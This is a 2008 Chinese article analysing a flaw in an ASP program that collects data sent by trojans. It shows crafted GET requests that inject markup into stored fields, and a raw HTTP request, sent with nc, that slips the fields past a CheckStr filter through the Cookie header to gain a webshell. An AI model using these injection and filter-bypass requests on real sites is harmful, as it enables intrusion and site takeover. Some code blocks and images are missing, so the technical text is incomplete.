天下马ASP收信程序漏洞

时间:2008-06-21 11:45:48  来源:互联网  作者|记者:不详  浏览:35  大小:【】【】【
捌度空间导读:最近看了八进制论坛上针对伯乐ASP收信程序的漏洞分析,通过提交数据达到获取webshell的方法!正好有朋 ...
最近看了八进制论坛上针对伯乐ASP收信程序的漏洞分析,通过提交数据达到获取webshell的方法!正好有朋友让我帮忙看一看天下马的提交问题!主要是由于有些程序使用者自定义了一些函数,使得原来的方法不能够绕过函数,但是昨天看了看,还是可以通过其他方法实现的!

首先,天下马的其他bug我们这里就不看了,直接看提交过程!

网上公布的提交过程是类似这种的连接:

http://www.xxx.com/post.asp?act=&d00=202&d01=

src=http://www.a.com>&d02=&d10=&d11=17000813&d20=&d21=&d22=&d23=&d30=天下马

&d31=&d32=1&d33=&d40=0&d41=0&d42=0&d50=&d51=&d98=&d99=123

返回如图1所示表示正常插入

javascript:if(this.width>500)this.width=500" border=0>

我们来看看察看数据的页面及其部分源代码,如图2所示

javascript:if(this.width>500)this.width=500" border=0>

但是有些程序却使用了一些自定义函数,针对提交的数据进行验证和过滤

我这里有一份代码如下:

[Copy to clipboard] [ - ]CODE:

相信很多朋友都已经看出来了,正如分析网站系统一样,这个自定义的代码只是针对Request.QueryString和Request.Form进行了过滤,没有对cookie提交的方式进行过滤!那么我们再看看天下马的获取方式

strAreaName = request("d00")   //还有很多,只写出一个

....

....

if strAreaName  "" then RS("AreaName") = strAreaName   //还有很多,只写出一个

....

....

这个是没有经过过滤的天下马的代码,增加自定义函数的页面是将request变量经过了Function CheckStr(ChkStr)的过滤,但是还有一种提交方式就是cookie提交!下面我们看看提交方法!

首先是针对正常提交时候进行抓包分析,然后进行数据包的构造,我这里构造的包如下(这里我将真实信息修改了,^_^):

[Copy to clipboard] [ - ]CODE:

GET /post.asp?

act=&d00=202&d02=&d11=17000813&d20=&d21=&d22=&d23=&d30=cookie&d31=&d32=1&d33=&d40=0&d41=0&d4

2=0&d50=&d51=&d98=&d99=123 HTTP/1.1

Accept: */*

Accept-Language: zh-cn

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)

Host: xxx.com

Connection: Keep-Alive

Cookie: ASPSESSIONIDCATSSDRC=NAAGENEADMNBDLJJFMKLGMDO;d01=;d10=

这里的数据我们只需要把通过cookie提交的数据放入cookie项中就可以了,其他可以保持不变!

然后使用NC提交!

我们来看看察看数据的页面及其部分源代码,如图3所示

javascript:if(this.width>500)this.width=500" border=0>

成功写入!

至于利用方法我想就不需要再多写了,朋友们自己去挖掘吧!


引用地址:

相关文章